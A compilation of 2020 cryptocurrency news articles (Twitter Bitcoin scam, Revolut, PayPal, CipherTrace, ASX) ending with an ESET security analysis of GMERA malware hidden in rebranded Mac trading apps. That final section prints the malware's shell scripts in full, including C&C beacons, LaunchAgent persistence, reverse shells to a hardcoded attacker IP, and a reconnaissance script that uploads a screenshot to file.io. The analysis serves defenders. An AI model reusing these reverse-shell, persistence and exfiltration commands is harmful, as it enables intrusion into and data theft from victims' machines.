High-profile Twitter account holders, including former US president Barack Obama along with Microsoft Corp co-founder Bill Gates, Tesla CEO Elon Musk, Amazon CEO Jeff Bezos, presumptive Democratic candidate for president Joe Biden among others, on Wednesday (July 15), were the target of a Bitcoin-related scam. The well-orchestrated hack posted similar tweets, all instructing people to send Bitcoins to an unknown cryptocurrency wallet.

More than 373 users fell for the scam, losing a total of INR 89 Lakh before the Tweets were removed by the Twitter authority. The attacker had complete access to Twitter they could have posted anything from any of the official accounts, but they chose to seek Bitcoins through false promises, shared Arjun Vijay, cofounder and COO of Giottus Cryptocurrency.

Further, he said people should be more careful, and there is no easy money, and most crypto giveaways that ask for contributions are scams. We hope this brings awareness, and Twitter users do not fall for these kinds of scams again, Vijay added.

In the Bitcoin-scam aftermath, Twitter had temporarily blocked all high-profile verified accounts from posting or even changing their passwords while it investigated and sought to resolve the issue. Twitter said that it will provide more details on the issue in the future as and when the investigation unfolds.

According to the New York Times report, four young hackers were involved in the well-organised Twitter scam. The report stated that the Bitcoin scam was traced back to a group of hackers who met at OGusers.com, a username-swapping community where people buy and sell online handles. The Times noted that the Twitter hack is not from Russian or other sophisticated hacker groups but was done by a group of young people, one of whom says he lives at home with his mother.

Accordingly, two users, lol and ever so anxious came into contact with Kirk, who had access to most sensitive tools, which allowed him to take control of almost any Twitter account, including the 130 high-profile accounts that were being hacked, the report added.

According to Twitters blog, the hackers targeted Twitter employees through a social engineering scheme. In other words, social engineering schemes are the intentional manipulation of people into performing certain actions and revealing confidential information. Further, it stated that the attackers successfully manipulated a small number of employees and used their credentials to access Twitters internal systems.

As of now, we know that they accessed tools only available to our internal support teams to target 130 Twitter accounts, Twitter added.

The price of Bitcoin (BTC) at the time of writing was $9,172.20 with a market cap of $169.11 Bn, compared to last week (July 14, 2020) which stood at $9,186.59, with a market cap of $169.32 Bn.

Ethereum (ETH), on the other hand, was priced at $237.35, with a market cap of $26.54 Bn at the time of writing, compared to last week (July 14, 2020), where the price of the cryptocurrency was $227.24, with a market cap of $25.35 Bn.

The former finance secretary of India, Subhash Chandra Garg, the man behind the bill that proposed a blanket ban on cryptocurrencies, ten-year jail terms and an INR 25 Cr hefty fine, on Friday (July 17), discussed cryptocurrencies fate with the Indian industry leaders and experts, which included Nischal Shetty, the CEO of WazirX, and Siddharth Sogani, the founder of blockchain research company Crebaco.

At a recent webinar organised by CREBACO Global, he said that he approves of the use of crypto assets as regulated commodities, but said that it must not be allowed to function as currencies in India. Sharing his opinion, Garg said that the way cryptocurrency works is on the distributed ledger technology (DLT). Its a high investment technology. It can never be a common mans currency, he added.

COTI, an acronym for currency of the internet, recently announced its listing on the Indian crypto exchange platform WazirX. With this, COTI will be integrated with a Tether (USDT) cryptocurrency pair COTI/USDT on WazirX. COTI is the worlds first directed acyclic graph (DAG)-based blockchain protocol optimised for seamless and scalable payments and low transaction costs. It is one of the most secure and fast which can facilitate thousands of transactions per second.

Taipei-based blockchain security company CoolBitX recently announced its partnership with Elliptic, a crypto asset risk management platform to launch one the first operational Travel Rule solutions for crypto called Sygna Bridge. This combined tool is said to offer customers a complete solution to fulfil anti-money laundering and compliance obligations, including the Financial Action Task Force (FATF) Travel Rule.

Michael Ou, CEO of CoolBitX, in a press statement, said that the solution will provide customers with the ability to protect themselves from violating any Anti-Money Laundering/Combating the Financing of Terrorism (AML/CFT) laws and regulations, allow them to assist regulators to combat illicit money laundering activities, and stay compliant with changing norms.

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Cryptocurrency This Week: Twitter Bitcoin Scam Explained & More - Inc42 Media

Revolut partners with Paxos to bring cryptocurrency trading to the US – TechCrunch

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Neobank Revolut launched in the U.S. a couple of months ago. The startup is slowly catching up with features that are available in the U.K. and Europe. This time, Revolut is adding cryptocurrency trading through a partnership with Paxos.

Users in the U.S. can now buy, hold and sell Bitcoin and Ethereum from the Revolut app. The feature is going to be available in 49 states as there are some regulatory issues in Tennessee. If you have USD or other currencies in your Revolut account, you can exchange manually whenever you want.

You can also set up alerts in case there are some important price changes happening. Optionally, users can also round up card payments to the nearest whole dollar and convert spare change into crypto assets.

If youre familiar with Revoluts cryptocurrency feature, you know that the company gives you access to more cryptocurrencies in Europe, such as Litecoin, Bitcoin Cash and XRP. The company says it is starting with BTC and ETH in the U.S. but is already working on bringing more cryptocurrencies.

When it comes to fees, users with a free Revolut account will pay 2.5% in conversion fees. Users with a Premium and Metal subscription will pay 1.5% in fees. Revolut is waving fees for the first 30 days.

This is in line with the companys current fees in Europe. Revolut also has some monthly limits on currency exchange in general for free users as well it can be fiat currencies or cryptocurrencies. You have to pay a 0.5% fee above that limit or pay for a subscription.

Revolut made some changes to its cryptocurrency feature recently. While you now technically own your cryptocurrencies, you cant send and receive cryptocurrencies from third-party wallets. The feature is all about trading buying, holding and selling.

In the U.S., Squares Cash App and Robinhood also let you buy cryptocurrencies in their respective apps. While those features dont offer the same flexibility as a full-fledged cryptocurrency exchange, it makes it easy to get started with cryptocurrencies.

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Revolut partners with Paxos to bring cryptocurrency trading to the US - TechCrunch

Paypal Developing Cryptocurrency Capabilities, Letter to European Commission Confirms | News – Bitcoin News

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Paypal has confirmed that it has been developing cryptocurrency capabilities in a letter the company sent to the European Commission regarding the EU framework for cryptocurrency markets. Recently, Paypal and Venmo were rumored to soon allow users to buy and sell cryptocurrencies directly.

In a letter to the European Commission (EC), Paypal revealed its work on developing crypto capabilities. The letter was in response to the public consultation launched in December last year on building an EU framework for markets in crypto assets. According to Ledger Insights, Paypals letter was published in June, along with a number of other responses the Commission received.

The crypto-asset industry has experienced substantial growth over the past few years, Paypal told the EC. As such, Paypal is continuously monitoring and evaluating global developments in the crypto and blockchain/distributed ledger space.

In the letter, the company explained its involvement with the Libra project, proposed by social media giant Facebook. Noting that it signed a non-binding letter of intent to participate in the Libra Association, Paypal clarified:

Since the projects inception, Paypal has taken unilateral and tangible steps to further develop its capabilities in this [crypto asset] area.

The company proceeded to explain that after leaving the Libra project, it has continued to focus on advancing our existing mission and business priorities to democratize access to financial services.

In the letter, Paypal claims to have more than 300 million active accounts across the globe, with millions of new users being added every year. The company serves customers and businesses in 31 European jurisdictions and has a license to provide banking and payments services in Luxembourg.

Regarding the EU framework for crypto assets, Paypal told the EC that The regulatory framework should allow for innovative products and services to be brought to market without undue regulatory burden while simultaneously providing regulatory clarity, guidance, and safeguards.

Three key points were mentioned. Firstly, Paypal suggested the EUs crypto framework should have a clear set of definitions on various crypto activities to ensure that companies engaged in such activities are properly licensed and regulated. Secondly, the company called for a proper application of a risk-based approach, in line with the principles underpinning existing EU AML regulation and global standards, and lastly any regulatory framework in Europe should strive to be technology-neutral to support innovation and competition in this fast-evolving space, the company described. The Financial Action Task Force (FATF) also recommends a risk-based approach to regulating cryptocurrencies and related service providers.

Last month, Paypal and Venmo, a mobile payment service owned by Paypal, were rumored to soon offer direct crypto buying and selling. News.Bitcoin.com reached out to Paypal but the companys representative neither confirmed nor denied the rumor. Paypal, however, is not new to the crypto space. In 2018, the company filed a patent for an expedited cryptocurrency transaction system. Its CEO, Daniel Schulman, also said in November that he owned bitcoin.

What do you think about Paypal developing crypto capabilities? Let us know in the comments section below.

Image Credits: Shutterstock, Pixabay, Wiki Commons

Disclaimer: This article is for informational purposes only. It is not a direct offer or solicitation of an offer to buy or sell, or a recommendation or endorsement of any products, services, or companies. Bitcoin.com does not provide investment, tax, legal, or accounting advice. Neither the company nor the author is responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in this article.

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A Top Pentagon Investigative Unit Wants To Spy On Worldwide Bitcoin And Crypto Transactions – Forbes

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Bitcoin, thrust into the international spotlight this week by Twitter hackers trying to defraud people of their bitcoin, is hard to track but by no means impossible.

Bitcoin, cryptocurrency and blockchain analytics companies are able to forensically examine crypto transactions and are often able to pinpoint exactly who made the transaction, where and when.

Now, a top Pentagon investigative unit is looking for information about hiring a crypto analytics service to "quickly detect criminal and suspicious cryptocurrency transactions" around the world.

A top Pentagon investigative unit has put out a request for a bitcoin and cryptocurrency analytics ... [+] service.

The U.S. Army Criminal Investigation Division Command (USACIDC) is looking to licence an application to help them track and trace illicit cryptocurrency transactions, according to a statement of work published on July 10. Unlike a more formal request for proposal, the posting is part of an earlier research phase called a request for information.

"The contractor must provide worldwide web-based access to a reliable cryptocurrency investigation service," the document read, giving a deadline of July 20 for companies to submit the information.

"The web based application must provide the capability to assist law enforcement identify and stop actors who are using cryptocurrencies for illicit activity such as fraud, extortion, and money laundering. Application must enables users to conduct in-depth investigation into the source of cryptocurrency transactions and provides multi-currency analysis from bitcoin to other top cryptocurrencies."

In addition, the application must "help spot suspicious transaction patterns and interactions with other entities," and "a link analysis tool to facilitate the analysis of data."

The request for work comes after the United States Army Contracting Command of New Jersey published a pre-solicitation notice seeking a similar web application to help law enforcement agencies to track and identify people using cryptocurrencies for illegal purposes in July last year.

The U.S. Army Contracting Command put out a so-called "request for information" on bitcoin and ... [+] cryptocurrency analytics services, inviting firms to respond by July 20.

Companies such as New York-based Chainalysis and London-based Elliptic, which recently won a contract with the IRS, have carved out a niche providing blockchain data and analysis to government agencies, bitcoin and crypto exchanges, and financial institutions.

Coinbase, the largest U.S. bitcoin and cryptocurrency exchange, has recently made headlines by licencing its blockchain tracing software to the U.S. government. The move has sparked controversy, with critics claiming the service causes a conflict of interest for the popular exchange.

Coinbase said in an email that it was aware of the USACIDC request for work but had yet to make a decision on whether it will bid.

"We'll always look for ways to work with agencies and law enforcement to fight illegal activity," a Coinbase spokesperson said.

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A Top Pentagon Investigative Unit Wants To Spy On Worldwide Bitcoin And Crypto Transactions - Forbes

CipherTrace Introduces Cryptocurrency Real-Time Predictive Risk Scoring to Mitigate Money Laundering of Crypto from Theft and Ransomware Attacks -…

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Exchanges and other Virtual Asset Service Providers using CipherTrace's transaction monitoring can now predict the risk of a bitcoin transaction before it is committed to the blockchain; this protects customers who have had cryptocurrencies that were stolen and those that face ransomware threats

MENLO PARK, Calif., July 21, 2020 /PRNewswire-PRWeb/ --CipherTrace announces cryptocurrency real-time transaction risk scoring with the addition of predictive capabilities to help exchanges, ATMs, OTC desks, hedge funds, custody solutions, payment processors, and financial investigators to ensure compliance with Anti-Money Laundering (AML), Counter-Terrorist Financing (CTF), and sanctions requirements. This capability is now available to select CipherTrace customers, including law enforcement investigating the Twitter hacking case, and will be generally available to the entire customer base as of July 31st.

Real-time analytics and predictive risk scoring for cryptocurrencies enables exchanges and other Virtual Asset Service Providers (VASPs) to be able to score transactions from low to high risk based on whether the funds have been tainted by traveling through illicit paths or associated with known bad actors or sanctioned geographies. CipherTrace implements this foresight without sacrificing user privacy, as the software does not process any personally identifiable information.

What does Real-Time Predictive Risk Scoring Do?

Predictive and real-time analysis of cryptocurrenciesnow a trillion-dollar marketallows a safer environment for the world's transactions. Being able to perform predictive analysis allows customers to see and protect stolen funds, freeze those funds, stop ransomware launderers, and protect customers from fraud. It also allows law enforcement agencies to take action immediately to protect investors, operators, and consumers.

How Does Real-Time Predictive Risk Scoring Work?

Before a bitcoin transaction is confirmed on the blockchain, it is first created and broadcasted to the network. Then, it is stored in a mempool of other unconfirmed transactions until a miner validates it and adds it to the blockchain. At this point, the transaction is final. This process can take at least ten minutes and sometimes hours to complete and places exchanges and other custodial services in the awkward position of forcing customers to wait for their transactions to be confirmed so that they can perform necessary due-diligence on transaction risk.

"It is our goal to make cryptocurrency global and available for everyone, while protecting personal privacy," said Dave Jevans, CEO of CipherTrace. "Cryptocurrency exchanges and other VASPs have regulatory obligations to address the risk of money laundering, terrorist financing, human trafficking, and weapons of mass destruction programs. The introduction of predictive risk scoring provides VASPs with a powerful new tool to identify potentially illicit funds before those transactions are finalized on the Bitcoin blockchain. This capability will also help VASPs offer an improved, more efficient user experience to their customers."

VASPs utilizing CipherTrace's monitoring suite will be able to freeze an account that is flagged as having a high probability of originating with stolen funds. By halting the movement of illicit funds, VASPs will deter future cryptocurrency crimes and help to change bitcoin's lingering reputation created by its early use on the illegal Silk Road marketplace. Most VASPs are required to file suspicious activity reports whenever they receive funds likely to contain illicit origins, and CipherTrace's predictive risk scoring capabilities will facilitate that process.

For media inquiries, please contact Kili Wall at (310) 260-7901 or Kili(at)MelrosePR(dot)com

About CipherTrace CipherTrace, leading cryptocurrency intelligence company, protects financial institutions from crypto laundering risk and is helping to grow the crypto economy by making virtual assets trusted by governments and safe for mass adoption. CipherTrace delivers the world's most comprehensive cryptocurrency intelligence to detect money laundering, inform law enforcement investigations, and enable regulatory supervision. CipherTrace founders are dedicated to protecting consumer privacy, while defending against illicit finance. Deep expertise in cybersecurity, eCrime, payments, banking, encryption, and virtual currencies form the foundation for CipherTrace's commercial offerings. For more information, visit http://www.CipherTrace.com or follow us on Twitter @CipherTrace.

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TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz – Economic Times

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Physical imitations of cryptocurrency in Dortmund, Germany on January 27, 2020.

The Indian IT giant has set its sights on the exploding crypto-assets market globally. Its new product Quartz aims to make swift inroads in cryptocurrency trading in countries like Switzerland and Singapore, where its a legal activity, and is eyeing high net-worth, private banking, and wealth-management segments. Quartz may not find takers in India in the absence of regulatory clarity.

Its a whole new world of opportunities for Indian IT companies. TCS is moving to make a big impact in the global enterprise blockchain-solutions market. The countrys second most-valued company has

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TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz - Economic Times

Cryptocurrency Is Reshaping the Fintech Landscape – Finextra

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Cryptocurrencies have been around for a while now, and were well past the point where they were considered a temporary, passing gimmick. At this stage, many people agree that cryptocurrencies are the way of the future in many ways, even if there are some flaws in the general idea. The important thing is that were actively experimenting with different solutions for the common problems on the financial market, and weve already come across some quite exciting discoveries along the way. When it comes to fintech, its clear that cryptocurrencies have had a major impact but how strong has it been exactly, and what can we expect from the future in this regard?

Current Uses of Blockchain in Finances

Blockchain is currently actively used in many areas of the financial sector likeforex. Its no longer a secondary thing for many businesses, and support for the technology is rapidly growing. And there is a lot that it can bring to the table as well from easy verification of identities, to speeding up regular everyday transactions, to enabling customers to use their mobile phones more comfortably as part of the purchasing process. There is a lot that blockchain can do that is not even actively explored yet, and its important to pay attention to the new and growing trends in this market.

Growing Trends

Which leads us to our next point. Blockchain is already enjoying an established place in many areas of the market, but it will take a while before its fully reached its potential. Until then, were likely going to see variouscompanies attempting to use it in new and different ways, and not all of those will be successful in the long run. But what truly matters here is that we pay attention to not only the successes, but the failures as well. Identifying the cause for each of those failures is going to be crucial in the long term when it comes to ensuring that were using blockchain to its full potential.

Attractive Prospects

The current prospects for the tech and its integration into the market are already quite attractive. Many companies have been exploring the market in even more detail lately too, and have been doing their best to make the situation more attractive for their users. Because of this, weve seen the rise of many integrations of blockchain tech into various aspects of the current market, and this is something that will likely continue in full force as well.

The Future Is Not Set in Stone

But in the end, its hard to predict where this will all take us. Blockchain is still a new technology compared to the overall state of the financial market, and it will likely be a while until its properly stabilized its position. As we said above, the important thing right now is to pay attention to how this tech evolves and the stages it goes through. Because a lot will happen over the next couple of decades, and those who have been following the trends will be in a better position to take advantage of the new situation.

Until then, its also not a bad idea to experiment with what the market has to offer. Blockchain is already integrated pretty tightly into many sectors, and it doesnt take a lot of effort to get started with this field. The technological barrier today is significantly lower than what it used to be, so there arent many excuses for not following those developments. And even when some things dont pan out, they will still provide a good learning experience for those whove attempted them.

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Cryptocurrency Is Reshaping the Fintech Landscape - Finextra

ASX loses out on rising cryptocurrency trend as companies head for other exchanges – Stockhead

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The ASXs strong stance against cryptocurrency linked companies has seen the exchange dump several companies and make it difficult for new players to list.

Now the crypto world has cottoned onto the fact that other exchanges are more welcoming.

This has seen new and existing players turn to the likes of the Toronto Stock Exchange (TSX) and the National Stock Exchange (ASX:NSX).

After leaving the ASX in March, game maker Animoca Brands decided to list its fitness and health technology subsidiary OliveX Holdings on the NSX.

Hong Kong-based OliveX makes fitness apps, such as 22 Pushups and Lympo Squat which allow users to earn cryptocurrency by doing squats.

During the September quarter last year, Animoca raised $US2.01m ($2.9m) in cash and crypto via a Simple Agreement for Future Equity (SAFE) security, and also presold utility tokens via its gaming subsidiary TSB Gaming.

However, the company fell foul of the ASX which has repeatedly expressed its disapproval of companies raising funds via cryptocurrencies and subsequently departed the local bourse in March.

The ASX has also delisted other companies that were dabbling in crypto, including Byte Power and First Growth Funds.

The market operator is relying on guidance from ASIC that many initial coin offers (ICO) and crypto assets are likely to be managed investment funds at worst, and therefore need an Australian Financial Services Licence (AFSL).

Australian crypto payments service provider Banxa, which was established in 2014, is looking to become a listed company, and being a true-blue Aussie it wanted to list on the ASX.

But the difficulty in doing so has prompted it to head to the TSX Venture Exchange (TSXV).

I would have loved to have listed on the ASX given that the company was established in Australia and the key people are Australian, founder and non-executive chairman Domenic Carosa told Stockhead.

But this is an example of the ASX taking a view that crypto companies are basically not welcome on the exchange. From my perspective I think thats an unfortunate decision, and one that means Australian companies need to look abroad from a capital raising and from an exchange perspective.

However, Carosa said the two major Canadian exchanges, the TSX and the Canadian Securities Exchange (CSE), were both very open to crypto and crypto-related companies.

In trying to decide which exchange to list on, Banxa met with exchanges and advisors in Australia, Singapore, Hong Kong, the UK and Canada.

We decided on the TSX because theyre the largest exchange in Canada, Carosa told Stockhead.

In terms of the number of companies listed and the number of IPOs in the last 12-18 months, it just dwarfs the ASX.

We decided to list onto this exchange because we can very easily dual-list on the comparable US exchange once were listed on the TSX and once were at a certain size, theres a migration path to NASDAQ as well.

The TSX is the senior equity market, while the TSXV is a public venture capital marketplace for emerging companies. Both are owned by the TMX Group.

Australia is not completely off limits for crypto companies, however, with both the NSX and the Sydney Stock Exchange (SSX) open to listing them.

Irrespective of industry sector, the SSX is in the business of listing suitable companies through efficient, supportive and best in class governance listing rules which support growth companies to reach their potential, Antony Tolfts, director market supervision and listing compliance for the SSX, told Stockhead.

The SSX gives prospective companies, from all industry sectors, a fair go to provide an efficient path to market for qualifying growth companies.

Companies operating within the digital and crypto space would receive an objective review with the same due diligence and evaluation under the listing rules as any other company looking to list or already listed.

Tolfts said most companies operating in the digital and crypto sector used a blockchain platform to support their business.

The SSX is passionate about blockchain to support digital technology, Tolfts said, and its CEO Michael Go also sits on the board and began developing platforms as early as 2015 and the CEO of the SSX, Michael Go, also sits on the board of industry body Blockchain Australia.

Banxa expects to have a market cap of around $41m on listing, and Carosa was of the view that the TSXV would be a better fit than the smaller exchanges in Australia given the global nature of its business.

We just thought the TSX provides the right kind of coverage for a global company and the fact that we can dual list in the US and get access to North American investors was also quite attractive for us, he said.

Canadian and US investors are a lot less conservative when it comes to backing crypto companies, according to Carosa.

Australians by their nature are typically quite conservative, and so weve found the bulk of our investors have come from Asia and the Americas. There just seems to be much more appetite for a crypto-style business outside of Australia than actually within Australia, which once again is unfortunate.

Im originally from Melbourne and Im now living in Amsterdam. Ive been living here for the last four years.

For me thats a bit of a shame because my heart is still very much in Australia, but at the end of the day from a follow the money perspective, there is certainly more appetite and interest for crypto outside of Australia and weve just had to pursue a global exchange that reflects the values of Banxa.

Banxa just completed a pre-IPO funding round, which included ASX-listed tech investor Thorney Technologies (ASX:TEK), and is in the final stages of listing on the TSXV, which it expects to do within the next couple of months.

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ASX loses out on rising cryptocurrency trend as companies head for other exchanges - Stockhead

Mac cryptocurrency trading application rebranded, bundled with malware – We Live Security

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ESET researchers lure GMERA malware operators to remotely control their Mac honeypots

Weve recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in the previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, not only did the malware authors wrap the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.

We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldnt confirm that it was linked to this particular campaign, but it could very well be the case.

Figure 1. Kattana warns about trojanized copies of their software on Twitter

Copycat websites are set up to make the bogus application download look legitimate. For a person who doesnt know Kattana, the websites do look legitimate.

The download button on the bogus sites is a link to a ZIP archive containing the trojanized application bundle.

Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micros blogpost and in Objective-Sees Mac malware of 2019 report.

Figure 4. Content of the Licatrade application bundle

Modification timestamps of the files in the ZIP archive, the date the application was signed, and the LastModified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.

A shell script (run.sh) is included in the resources of the application bundle. This main executable, written in Swift, launches run.sh. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP, and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.

Here is the full shell script source (ellipsis in long string and defanged):

#! /bin/bashfunction remove_spec_char(){echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'}whoami="$(remove_spec_char `whoami`)"ip="$(remove_spec_char `curl -s ipecho.net/plain`)"req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"launchctl load "/tmp/.com.apple.system.plist"scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

#! /bin/bash

function remove_spec_char(){

echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'

}

whoami="$(remove_spec_char `whoami`)"

ip="$(remove_spec_char `curl -s ipecho.net/plain`)"

req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="

echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"

cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"

launchctl load "/tmp/.com.apple.system.plist"

scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Its interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (.com.apple.system.plist) isnt in Property List format as launchd expects, but instead is the command line to be executed.

The decoded content (ellipses in long strings) of the $plist_text variable is:

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.

The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.

The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.

Here are some example command lines used:

screen -d -m bash -c bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1

zsh -c zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY

The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an app.asar file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.

Figure 5. Partial difference between Kattana and Licatrade

Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.

Figure 6. Certificate used to sign Licatrade

Figure 7. Licatrade certificate was revoked May 28th, 2020

For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. See the IoCs section for details about these. Its interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didnt find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.

The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the levistor777@gmail.com email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.

Both the websites and HTTP C&C servers receiving the malwares first report are hosted behind Cloudflare.

To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware.

We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version and location (based on external IP address) of the compromised device.

#! /bin/bashfunction check() { if [ ! -f /private/var/tmp/.i ]; then write else if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then write fi fi}function write() { getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"` echo `whoami` > /private/var/tmp/.i echo `sw_vers -productVersion` >> /private/var/tmp/.i echo "$getit" >> /private/var/tmp/.i}checkcat /private/var/tmp/.i

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#! /bin/bash

function check() {

if [ ! -f /private/var/tmp/.i ]; then

write

else

if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then

write

fi

fi

}

function write() {

getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`

echo `whoami` > /private/var/tmp/.i

echo `sw_vers -productVersion` >> /private/var/tmp/.i

echo "$getit" >> /private/var/tmp/.i

}

check

cat /private/var/tmp/.i

which sent something like this to the operators:

jeremy10.13.4BratislavaSK

jeremy

10.13.4

Bratislava

SK

The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.

Figure 8. Packet capture of the operator sending the base64-encoded secondary reconnaissance script

Here is the decoded script:

echo ""echo "------ Whoami ------"whoamiecho "------ IP info ------"curl -s ipinfo.ioecho "------ Mac Model ------"curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*(.*).*|1|'echo "------ MacOS Version ------"sw_vers -productVersionsw_vers -productVersion | grep -E "10.15.*" && echo -e "33[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA 33[0m"sleep 1echo "------ MacOS Installed ------"date -r /var/db/.AppleSetupDoneecho "------ Disks ------"df -mecho "------ Video Output ------"system_profiler SPDisplaysDataTypeecho "------ Wifi Around ------"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -secho "------ Virtual Mashine Detector ------"ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."echo "--------------------------------"echo "------ Developer Detector ------"echo "--------------------------------"echo "||| Applications |||"ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"echo "||| Short Bash History |||"cat ~/.bash_history | head -n 20echo "------ Desktop Screen ------"echo "create screenshot..."sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/nullsips -z 500 800 /tmp/screen.jpg &> /dev/nullsips -s formatOptions 50 /tmp/screen.jpg &> /dev/nullecho "uploading..."curl -s -F "file=@/tmp/screen.jpg" https://file.io

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Excerpt from:

Mac cryptocurrency trading application rebranded, bundled with malware - We Live Security